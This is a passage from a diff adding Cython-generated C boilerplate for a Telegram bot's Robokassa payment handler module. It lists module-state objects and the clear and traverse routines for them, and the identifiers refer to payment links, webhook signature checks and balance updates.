+ PyObject *__pyx_n_u_enter_custom_amount_robokassa; + PyObject *__pyx_kp_u_entered_custom_amount; + PyObject *__pyx_n_s_error; + PyObject *__pyx_n_s_exists; + PyObject *__pyx_n_s_expected_signature; + PyObject *__pyx_kp_u_gc; + PyObject *__pyx_n_s_generate_by_script; + PyObject *__pyx_n_s_generate_payment_link; + PyObject *__pyx_n_s_get; + PyObject *__pyx_n_s_get_key_count; + PyObject *__pyx_n_s_handle_custom_amount_input; + PyObject *__pyx_n_s_handlers_payments_robokassa_pay; + PyObject *__pyx_kp_s_handlers_payments_robokassa_pay_2; + PyObject *__pyx_n_s_handlers_payments_utils; + PyObject *__pyx_n_s_handlers_texts; + PyObject *__pyx_n_s_hashlib; + PyObject *__pyx_n_s_hexdigest; + PyObject *__pyx_n_s_i; + PyObject *__pyx_n_s_id; + PyObject *__pyx_n_s_import; + PyObject *__pyx_n_s_info; + PyObject *__pyx_n_s_init_subclass; + PyObject *__pyx_n_s_initializing; + PyObject *__pyx_kp_u_initiated_Robokassa_payment; + PyObject *__pyx_n_s_inline_keyboard; + PyObject *__pyx_n_s_inv_id; + PyObject *__pyx_kp_u_inv_id_2; + PyObject *__pyx_n_s_is_coroutine; + PyObject *__pyx_n_s_is_test; + PyObject *__pyx_kp_u_isenabled; + PyObject *__pyx_n_s_key_count; + PyObject *__pyx_n_s_link; + PyObject *__pyx_n_s_logger; + PyObject *__pyx_n_s_main; + PyObject *__pyx_n_s_md5; + PyObject *__pyx_n_s_merchant_login; + PyObject *__pyx_n_s_message; + PyObject *__pyx_n_s_metaclass; + PyObject *__pyx_n_s_module; + PyObject *__pyx_n_s_mro_entries; + PyObject *__pyx_n_s_name; + PyObject *__pyx_n_s_out_sum; + PyObject *__pyx_n_s_params; + PyObject *__pyx_n_s_password1; + PyObject *__pyx_n_s_password2; + PyObject *__pyx_n_u_pay; + PyObject *__pyx_n_u_pay_robokassa; + PyObject *__pyx_n_s_payment; + PyObject *__pyx_n_s_payment_link; + PyObject *__pyx_n_s_payment_url; + PyObject *__pyx_n_s_post; + PyObject *__pyx_n_s_prepare; + PyObject *__pyx_n_s_process_amount_selection; + PyObject *__pyx_n_s_process_callback_pay_robokassa; + PyObject *__pyx_n_s_process_custom_amount_selection; + PyObject *__pyx_n_s_qualname; + PyObject *__pyx_n_s_range; + PyObject *__pyx_n_s_reply_markup; + PyObject *__pyx_n_s_request; + PyObject *__pyx_n_s_robokassa; + PyObject *__pyx_n_u_robokassa; + PyObject *__pyx_kp_u_robokassa_amount; + PyObject *__pyx_n_s_robokassa_webhook; + PyObject *__pyx_n_s_router; + PyObject *__pyx_n_s_row; + PyObject *__pyx_kp_u_selected_amount; + PyObject *__pyx_n_s_send; + PyObject *__pyx_n_s_send_payment_success_notificatio; + PyObject *__pyx_n_s_session; + PyObject *__pyx_n_s_set_name; + PyObject *__pyx_n_s_set_state; + PyObject *__pyx_n_s_shp_id; + PyObject *__pyx_n_u_shp_id; + PyObject *__pyx_kp_u_shp_id_2; + PyObject *__pyx_kp_u_shp_id_3; + PyObject *__pyx_n_s_signature_string; + PyObject *__pyx_n_s_signature_value; + PyObject *__pyx_n_s_spec; + PyObject *__pyx_n_s_split; + PyObject *__pyx_n_s_startswith; + PyObject *__pyx_n_s_state; + PyObject *__pyx_n_s_status; + PyObject *__pyx_n_s_super; + PyObject *__pyx_n_s_test; + PyObject *__pyx_n_s_text; + PyObject *__pyx_n_u_text; + PyObject *__pyx_n_s_tg_id; + PyObject *__pyx_n_s_throw; + PyObject *__pyx_n_s_trial; + PyObject *__pyx_n_s_types; + PyObject *__pyx_kp_s_types_CallbackQuery; + PyObject *__pyx_kp_s_types_Message; + PyObject *__pyx_n_s_typing; + PyObject *__pyx_n_s_update_balance; + PyObject *__pyx_n_s_update_data; + PyObject *__pyx_n_s_upper; + PyObject *__pyx_n_s_url; + PyObject *__pyx_n_s_waiting_for_payment_confirmation; + PyObject *__pyx_n_s_web; + PyObject *__pyx_kp_u_with_amount; + PyObject *__pyx_kp_u_with_balance_0_0; + PyObject *__pyx_float_0_0; + PyObject *__pyx_int_0; + PyObject *__pyx_int_1; + PyObject *__pyx_int_2; + PyObject *__pyx_int_400; + PyObject *__pyx_int_500; + PyObject *__pyx_tuple__11; + PyObject *__pyx_tuple__27; + PyObject *__pyx_tuple__32; + PyObject *__pyx_tuple__34; + PyObject *__pyx_tuple__35; + PyObject *__pyx_tuple__36; + PyObject *__pyx_tuple__37; + PyObject *__pyx_tuple__38; + PyObject *__pyx_tuple__40; + PyObject *__pyx_tuple__41; + PyObject *__pyx_codeobj__2; + PyObject *__pyx_codeobj__7; + PyObject *__pyx_codeobj__20; + PyObject *__pyx_codeobj__24; + PyObject *__pyx_codeobj__28; + PyObject *__pyx_codeobj__33; + PyObject *__pyx_codeobj__39; +} __pyx_mstate; + +#if CYTHON_USE_MODULE_STATE +#ifdef __cplusplus +namespace { + extern struct PyModuleDef __pyx_moduledef; +} /* anonymous namespace */ +#else +static struct PyModuleDef __pyx_moduledef; +#endif + +#define __pyx_mstate(o) ((__pyx_mstate *)__Pyx_PyModule_GetState(o)) + +#define __pyx_mstate_global (__pyx_mstate(PyState_FindModule(&__pyx_moduledef))) + +#define __pyx_m (PyState_FindModule(&__pyx_moduledef)) +#else +static __pyx_mstate __pyx_mstate_global_static = +#ifdef __cplusplus + {}; +#else + {0}; +#endif +static __pyx_mstate *__pyx_mstate_global = &__pyx_mstate_global_static; +#endif +/* #### Code section: module_state_clear ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_clear(PyObject *m) { + __pyx_mstate *clear_module_state = __pyx_mstate(m); + if (!clear_module_state) return 0; + Py_CLEAR(clear_module_state->__pyx_d); + Py_CLEAR(clear_module_state->__pyx_b); + Py_CLEAR(clear_module_state->__pyx_cython_runtime); + Py_CLEAR(clear_module_state->__pyx_empty_tuple); + Py_CLEAR(clear_module_state->__pyx_empty_bytes); + Py_CLEAR(clear_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_CLEAR(clear_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_CLEAR(clear_module_state->__pyx_FusedFunctionType); + #endif + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_kp_u_); + Py_CLEAR(clear_module_state->__pyx_n_s_Any); + Py_CLEAR(clear_module_state->__pyx_kp_u_Created_new_connection_for_user); + Py_CLEAR(clear_module_state->__pyx_kp_u_Displayed_amount_selection_for_u); + Py_CLEAR(clear_module_state->__pyx_kp_u_Error_processing_webhook); + Py_CLEAR(clear_module_state->__pyx_kp_u_Expected_signature); + Py_CLEAR(clear_module_state->__pyx_n_s_F); + Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); + Py_CLEAR(clear_module_state->__pyx_kp_u_Generated_payment_link); + Py_CLEAR(clear_module_state->__pyx_kp_u_Generated_payment_link_for_user); + Py_CLEAR(clear_module_state->__pyx_kp_u_Generating_payment_link_for_amou); + Py_CLEAR(clear_module_state->__pyx_n_s_HashAlgorithm); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_CLEAR(clear_module_state->__pyx_n_u_InvId); + Py_CLEAR(clear_module_state->__pyx_kp_u_InvId_2); + Py_CLEAR(clear_module_state->__pyx_n_u_OK); + Py_CLEAR(clear_module_state->__pyx_n_u_OutSum); + Py_CLEAR(clear_module_state->__pyx_kp_u_OutSum_2); + Py_CLEAR(clear_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_URL_for_user); + Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_link_sent_to_user); + Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_successful_Balance_updat); + Py_CLEAR(clear_module_state->__pyx_kp_u_Processing_payment_for_user); + Py_CLEAR(clear_module_state->__pyx_n_s_ROBOKASSA_ENABLE); + Py_CLEAR(clear_module_state->__pyx_n_s_ROBOKASSA_LOGIN); + Py_CLEAR(clear_module_state->__pyx_n_s_ROBOKASSA_PASSWORD1); + Py_CLEAR(clear_module_state->__pyx_n_s_ROBOKASSA_PASSWORD2); + Py_CLEAR(clear_module_state->__pyx_n_s_ROBOKASSA_TEST_MODE); + Py_CLEAR(clear_module_state->__pyx_kp_u_Received_signature); + Py_CLEAR(clear_module_state->__pyx_kp_u_Received_webhook_params); + Py_CLEAR(clear_module_state->__pyx_n_s_ReplenishBalanceState); + Py_CLEAR(clear_module_state->__pyx_n_s_Response); + Py_CLEAR(clear_module_state->__pyx_n_s_Robokassa); + Py_CLEAR(clear_module_state->__pyx_kp_u_Robokassa_initialized_with_login); + Py_CLEAR(clear_module_state->__pyx_n_s_Router); + Py_CLEAR(clear_module_state->__pyx_n_u_SignatureValue); + Py_CLEAR(clear_module_state->__pyx_kp_u_SignatureValue_2); + Py_CLEAR(clear_module_state->__pyx_kp_u_Signature_string_before_hashing); + Py_CLEAR(clear_module_state->__pyx_n_s_State); + Py_CLEAR(clear_module_state->__pyx_n_s_StatesGroup); + Py_CLEAR(clear_module_state->__pyx_kp_u_User); + Py_CLEAR(clear_module_state->__pyx_n_s_ValueError); + Py_CLEAR(clear_module_state->__pyx_kp_u__10); + Py_CLEAR(clear_module_state->__pyx_kp_u__12); + Py_CLEAR(clear_module_state->__pyx_kp_u__13); + Py_CLEAR(clear_module_state->__pyx_kp_u__14); + Py_CLEAR(clear_module_state->__pyx_kp_u__15); + Py_CLEAR(clear_module_state->__pyx_kp_u__16); + Py_CLEAR(clear_module_state->__pyx_n_u__17); + Py_CLEAR(clear_module_state->__pyx_kp_u__18); + Py_CLEAR(clear_module_state->__pyx_kp_u__19); + Py_CLEAR(clear_module_state->__pyx_kp_u__21); + Py_CLEAR(clear_module_state->__pyx_kp_u__22); + Py_CLEAR(clear_module_state->__pyx_kp_u__23); + Py_CLEAR(clear_module_state->__pyx_kp_u__25); + Py_CLEAR(clear_module_state->__pyx_kp_u__26); + Py_CLEAR(clear_module_state->__pyx_kp_u__29); + Py_CLEAR(clear_module_state->__pyx_kp_u__3); + Py_CLEAR(clear_module_state->__pyx_kp_u__30); + Py_CLEAR(clear_module_state->__pyx_n_s__31); + Py_CLEAR(clear_module_state->__pyx_kp_u__4); + Py_CLEAR(clear_module_state->__pyx_n_s__42); + Py_CLEAR(clear_module_state->__pyx_kp_u__5); + Py_CLEAR(clear_module_state->__pyx_kp_u__6); + Py_CLEAR(clear_module_state->__pyx_kp_u__8); + Py_CLEAR(clear_module_state->__pyx_kp_u__9); + Py_CLEAR(clear_module_state->__pyx_n_s_add_connection); + Py_CLEAR(clear_module_state->__pyx_n_s_add_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_context); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_state); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_types); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_aiohttp); + Py_CLEAR(clear_module_state->__pyx_n_s_algorithm); + Py_CLEAR(clear_module_state->__pyx_n_s_amount); + Py_CLEAR(clear_module_state->__pyx_n_u_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_amount_str); + Py_CLEAR(clear_module_state->__pyx_n_s_answer); + Py_CLEAR(clear_module_state->__pyx_n_s_args); + Py_CLEAR(clear_module_state->__pyx_n_s_as_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_asyncio_coroutines); + Py_CLEAR(clear_module_state->__pyx_n_s_await); + Py_CLEAR(clear_module_state->__pyx_n_s_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_builder); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_u_callback_data); + Py_CLEAR(clear_module_state->__pyx_kp_u_callback_data_2); + Py_CLEAR(clear_module_state->__pyx_kp_u_callback_data_3); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_query); + Py_CLEAR(clear_module_state->__pyx_n_s_chat); + Py_CLEAR(clear_module_state->__pyx_n_s_check_connection_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_check_payment_signature); + Py_CLEAR(clear_module_state->__pyx_n_s_choosing_amount_robokassa); + Py_CLEAR(clear_module_state->__pyx_kp_u_chose_to_enter_a_custom_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_class_getitem); + Py_CLEAR(clear_module_state->__pyx_n_s_clear); + Py_CLEAR(clear_module_state->__pyx_n_s_cline_in_traceback); + Py_CLEAR(clear_module_state->__pyx_n_s_close); + Py_CLEAR(clear_module_state->__pyx_n_s_config); + Py_CLEAR(clear_module_state->__pyx_n_s_confirm_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_data); + Py_CLEAR(clear_module_state->__pyx_n_s_database); + Py_CLEAR(clear_module_state->__pyx_n_s_debug); + Py_CLEAR(clear_module_state->__pyx_n_s_description); + Py_CLEAR(clear_module_state->__pyx_kp_u_description_2); + Py_CLEAR(clear_module_state->__pyx_n_s_dict); + Py_CLEAR(clear_module_state->__pyx_kp_u_disable); + Py_CLEAR(clear_module_state->__pyx_n_s_doc); + Py_CLEAR(clear_module_state->__pyx_n_s_e); + Py_CLEAR(clear_module_state->__pyx_kp_u_enable); + Py_CLEAR(clear_module_state->__pyx_n_u_enter_custom_amount_robokassa); + Py_CLEAR(clear_module_state->__pyx_kp_u_entered_custom_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_error); + Py_CLEAR(clear_module_state->__pyx_n_s_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_expected_signature); + Py_CLEAR(clear_module_state->__pyx_kp_u_gc); + Py_CLEAR(clear_module_state->__pyx_n_s_generate_by_script); + Py_CLEAR(clear_module_state->__pyx_n_s_generate_payment_link); + Py_CLEAR(clear_module_state->__pyx_n_s_get); + Py_CLEAR(clear_module_state->__pyx_n_s_get_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_handle_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_robokassa_pay); + Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_robokassa_pay_2); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_utils); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_texts); + Py_CLEAR(clear_module_state->__pyx_n_s_hashlib); + Py_CLEAR(clear_module_state->__pyx_n_s_hexdigest); + Py_CLEAR(clear_module_state->__pyx_n_s_i); + Py_CLEAR(clear_module_state->__pyx_n_s_id); + Py_CLEAR(clear_module_state->__pyx_n_s_import); + Py_CLEAR(clear_module_state->__pyx_n_s_info); + Py_CLEAR(clear_module_state->__pyx_n_s_init_subclass); + Py_CLEAR(clear_module_state->__pyx_n_s_initializing); + Py_CLEAR(clear_module_state->__pyx_kp_u_initiated_Robokassa_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_inline_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_inv_id); + Py_CLEAR(clear_module_state->__pyx_kp_u_inv_id_2); + Py_CLEAR(clear_module_state->__pyx_n_s_is_coroutine); + Py_CLEAR(clear_module_state->__pyx_n_s_is_test); + Py_CLEAR(clear_module_state->__pyx_kp_u_isenabled); + Py_CLEAR(clear_module_state->__pyx_n_s_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_link); + Py_CLEAR(clear_module_state->__pyx_n_s_logger); + Py_CLEAR(clear_module_state->__pyx_n_s_main); + Py_CLEAR(clear_module_state->__pyx_n_s_md5); + Py_CLEAR(clear_module_state->__pyx_n_s_merchant_login); + Py_CLEAR(clear_module_state->__pyx_n_s_message); + Py_CLEAR(clear_module_state->__pyx_n_s_metaclass); + Py_CLEAR(clear_module_state->__pyx_n_s_module); + Py_CLEAR(clear_module_state->__pyx_n_s_mro_entries); + Py_CLEAR(clear_module_state->__pyx_n_s_name); + Py_CLEAR(clear_module_state->__pyx_n_s_out_sum); + Py_CLEAR(clear_module_state->__pyx_n_s_params); + Py_CLEAR(clear_module_state->__pyx_n_s_password1); + Py_CLEAR(clear_module_state->__pyx_n_s_password2); + Py_CLEAR(clear_module_state->__pyx_n_u_pay); + Py_CLEAR(clear_module_state->__pyx_n_u_pay_robokassa); + Py_CLEAR(clear_module_state->__pyx_n_s_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_payment_link); + Py_CLEAR(clear_module_state->__pyx_n_s_payment_url); + Py_CLEAR(clear_module_state->__pyx_n_s_post); + Py_CLEAR(clear_module_state->__pyx_n_s_prepare); + Py_CLEAR(clear_module_state->__pyx_n_s_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_n_s_process_callback_pay_robokassa); + Py_CLEAR(clear_module_state->__pyx_n_s_process_custom_amount_selection); + Py_CLEAR(clear_module_state->__pyx_n_s_qualname); + Py_CLEAR(clear_module_state->__pyx_n_s_range); + Py_CLEAR(clear_module_state->__pyx_n_s_reply_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_request); + Py_CLEAR(clear_module_state->__pyx_n_s_robokassa); + Py_CLEAR(clear_module_state->__pyx_n_u_robokassa); + Py_CLEAR(clear_module_state->__pyx_kp_u_robokassa_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_robokassa_webhook); + Py_CLEAR(clear_module_state->__pyx_n_s_router); + Py_CLEAR(clear_module_state->__pyx_n_s_row); + Py_CLEAR(clear_module_state->__pyx_kp_u_selected_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_send); + Py_CLEAR(clear_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_CLEAR(clear_module_state->__pyx_n_s_session); + Py_CLEAR(clear_module_state->__pyx_n_s_set_name); + Py_CLEAR(clear_module_state->__pyx_n_s_set_state); + Py_CLEAR(clear_module_state->__pyx_n_s_shp_id); + Py_CLEAR(clear_module_state->__pyx_n_u_shp_id); + Py_CLEAR(clear_module_state->__pyx_kp_u_shp_id_2); + Py_CLEAR(clear_module_state->__pyx_kp_u_shp_id_3); + Py_CLEAR(clear_module_state->__pyx_n_s_signature_string); + Py_CLEAR(clear_module_state->__pyx_n_s_signature_value); + Py_CLEAR(clear_module_state->__pyx_n_s_spec); + Py_CLEAR(clear_module_state->__pyx_n_s_split); + Py_CLEAR(clear_module_state->__pyx_n_s_startswith); + Py_CLEAR(clear_module_state->__pyx_n_s_state); + Py_CLEAR(clear_module_state->__pyx_n_s_status); + Py_CLEAR(clear_module_state->__pyx_n_s_super); + Py_CLEAR(clear_module_state->__pyx_n_s_test); + Py_CLEAR(clear_module_state->__pyx_n_s_text); + Py_CLEAR(clear_module_state->__pyx_n_u_text); + Py_CLEAR(clear_module_state->__pyx_n_s_tg_id); + Py_CLEAR(clear_module_state->__pyx_n_s_throw); + Py_CLEAR(clear_module_state->__pyx_n_s_trial); + Py_CLEAR(clear_module_state->__pyx_n_s_types); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_CallbackQuery); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_Message); + Py_CLEAR(clear_module_state->__pyx_n_s_typing); + Py_CLEAR(clear_module_state->__pyx_n_s_update_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_update_data); + Py_CLEAR(clear_module_state->__pyx_n_s_upper); + Py_CLEAR(clear_module_state->__pyx_n_s_url); + Py_CLEAR(clear_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_CLEAR(clear_module_state->__pyx_n_s_web); + Py_CLEAR(clear_module_state->__pyx_kp_u_with_amount); + Py_CLEAR(clear_module_state->__pyx_kp_u_with_balance_0_0); + Py_CLEAR(clear_module_state->__pyx_float_0_0); + Py_CLEAR(clear_module_state->__pyx_int_0); + Py_CLEAR(clear_module_state->__pyx_int_1); + Py_CLEAR(clear_module_state->__pyx_int_2); + Py_CLEAR(clear_module_state->__pyx_int_400); + Py_CLEAR(clear_module_state->__pyx_int_500); + Py_CLEAR(clear_module_state->__pyx_tuple__11); + Py_CLEAR(clear_module_state->__pyx_tuple__27); + Py_CLEAR(clear_module_state->__pyx_tuple__32); + Py_CLEAR(clear_module_state->__pyx_tuple__34); + Py_CLEAR(clear_module_state->__pyx_tuple__35); + Py_CLEAR(clear_module_state->__pyx_tuple__36); + Py_CLEAR(clear_module_state->__pyx_tuple__37); + Py_CLEAR(clear_module_state->__pyx_tuple__38); + Py_CLEAR(clear_module_state->__pyx_tuple__40); + Py_CLEAR(clear_module_state->__pyx_tuple__41); + Py_CLEAR(clear_module_state->__pyx_codeobj__2); + Py_CLEAR(clear_module_state->__pyx_codeobj__7); + Py_CLEAR(clear_module_state->__pyx_codeobj__20); + Py_CLEAR(clear_module_state->__pyx_codeobj__24); + Py_CLEAR(clear_module_state->__pyx_codeobj__28); + Py_CLEAR(clear_module_state->__pyx_codeobj__33); + Py_CLEAR(clear_module_state->__pyx_codeobj__39); + return 0; +} +#endif +/* #### Code section: module_state_traverse ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { + __pyx_mstate *traverse_module_state = __pyx_mstate(m); + if (!traverse_module_state) return 0; + Py_VISIT(traverse_module_state->__pyx_d); + Py_VISIT(traverse_module_state->__pyx_b); + Py_VISIT(traverse_module_state->__pyx_cython_runtime); + Py_VISIT(traverse_module_state->__pyx_empty_tuple); + Py_VISIT(traverse_module_state->__pyx_empty_bytes); + Py_VISIT(traverse_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_VISIT(traverse_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_VISIT(traverse_module_state->__pyx_FusedFunctionType); + #endif + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct__process_callback_pay_robokassa); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_kp_u_); + Py_VISIT(traverse_module_state->__pyx_n_s_Any); + Py_VISIT(traverse_module_state->__pyx_kp_u_Created_new_connection_for_user); + Py_VISIT(traverse_module_state->__pyx_kp_u_Displayed_amount_selection_for_u); + Py_VISIT(traverse_module_state->__pyx_kp_u_Error_processing_webhook); + Py_VISIT(traverse_module_state->__pyx_kp_u_Expected_signature); + Py_VISIT(traverse_module_state->__pyx_n_s_F); + Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); + Py_VISIT(traverse_module_state->__pyx_kp_u_Generated_payment_link); + Py_VISIT(traverse_module_state->__pyx_kp_u_Generated_payment_link_for_user); + Py_VISIT(traverse_module_state->__pyx_kp_u_Generating_payment_link_for_amou); + Py_VISIT(traverse_module_state->__pyx_n_s_HashAlgorithm); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_VISIT(traverse_module_state->__pyx_n_u_InvId); + Py_VISIT(traverse_module_state->__pyx_kp_u_InvId_2); + Py_VISIT(traverse_module_state->__pyx_n_u_OK); + Py_VISIT(traverse_module_state->__pyx_n_u_OutSum); + Py_VISIT(traverse_module_state->__pyx_kp_u_OutSum_2); + Py_VISIT(traverse_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_URL_for_user); + Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_link_sent_to_user); + Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_successful_Balance_updat); + Py_VISIT(traverse_module_state->__pyx_kp_u_Processing_payment_for_user); + Py_VISIT(traverse_module_state->__pyx_n_s_ROBOKASSA_ENABLE); + Py_VISIT(traverse_module_state->__pyx_n_s_ROBOKASSA_LOGIN); + Py_VISIT(traverse_module_state->__pyx_n_s_ROBOKASSA_PASSWORD1); + Py_VISIT(traverse_module_state->__pyx_n_s_ROBOKASSA_PASSWORD2); + Py_VISIT(traverse_module_state->__pyx_n_s_ROBOKASSA_TEST_MODE); + Py_VISIT(traverse_module_state->__pyx_kp_u_Received_signature); + Py_VISIT(traverse_module_state->__pyx_kp_u_Received_webhook_params); + Py_VISIT(traverse_module_state->__pyx_n_s_ReplenishBalanceState); + Py_VISIT(traverse_module_state->__pyx_n_s_Response); + Py_VISIT(traverse_module_state->__pyx_n_s_Robokassa); + Py_VISIT(traverse_module_state->__pyx_kp_u_Robokassa_initialized_with_login); + Py_VISIT(traverse_module_state->__pyx_n_s_Router); + Py_VISIT(traverse_module_state->__pyx_n_u_SignatureValue); + Py_VISIT(traverse_module_state->__pyx_kp_u_SignatureValue_2); + Py_VISIT(traverse_module_state->__pyx_kp_u_Signature_string_before_hashing); + Py_VISIT(traverse_module_state->__pyx_n_s_State); + Py_VISIT(traverse_module_state->__pyx_n_s_StatesGroup); + Py_VISIT(traverse_module_state->__pyx_kp_u_User); + Py_VISIT(traverse_module_state->__pyx_n_s_ValueError); + Py_VISIT(traverse_module_state->__pyx_kp_u__10); + Py_VISIT(traverse_module_state->__pyx_kp_u__12); + Py_VISIT(traverse_module_state->__pyx_kp_u__13); + Py_VISIT(traverse_module_state->__pyx_kp_u__14); + Py_VISIT(traverse_module_state->__pyx_kp_u__15); + Py_VISIT(traverse_module_state->__pyx_kp_u__16); + Py_VISIT(traverse_module_state->__pyx_n_u__17); + Py_VISIT(traverse_module_state->__pyx_kp_u__18); + Py_VISIT(traverse_module_state->__pyx_kp_u__19); + Py_VISIT(traverse_module_state->__pyx_kp_u__21); + Py_VISIT(traverse_module_state->__pyx_kp_u__22); + Py_VISIT(traverse_module_state->__pyx_kp_u__23); + Py_VISIT(traverse_module_state->__pyx_kp_u__25); + Py_VISIT(traverse_module_state->__pyx_kp_u__26); + Py_VISIT(traverse_module_state->__pyx_kp_u__29); + Py_VISIT(traverse_module_state->__pyx_kp_u__3); + Py_VISIT(traverse_module_state->__pyx_kp_u__30); + Py_VISIT(traverse_module_state->__pyx_n_s__31); + Py_VISIT(traverse_module_state->__pyx_kp_u__4); + Py_VISIT(traverse_module_state->__pyx_n_s__42); + Py_VISIT(traverse_module_state->__pyx_kp_u__5); + Py_VISIT(traverse_module_state->__pyx_kp_u__6); + Py_VISIT(traverse_module_state->__pyx_kp_u__8); + Py_VISIT(traverse_module_state->__pyx_kp_u__9); + Py_VISIT(traverse_module_state->__pyx_n_s_add_connection); + Py_VISIT(traverse_module_state->__pyx_n_s_add_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_context); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_state); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_types); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_aiohttp); + Py_VISIT(traverse_module_state->__pyx_n_s_algorithm); + Py_VISIT(traverse_module_state->__pyx_n_s_amount); + Py_VISIT(traverse_module_state->__pyx_n_u_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_amount_str); + Py_VISIT(traverse_module_state->__pyx_n_s_answer); + 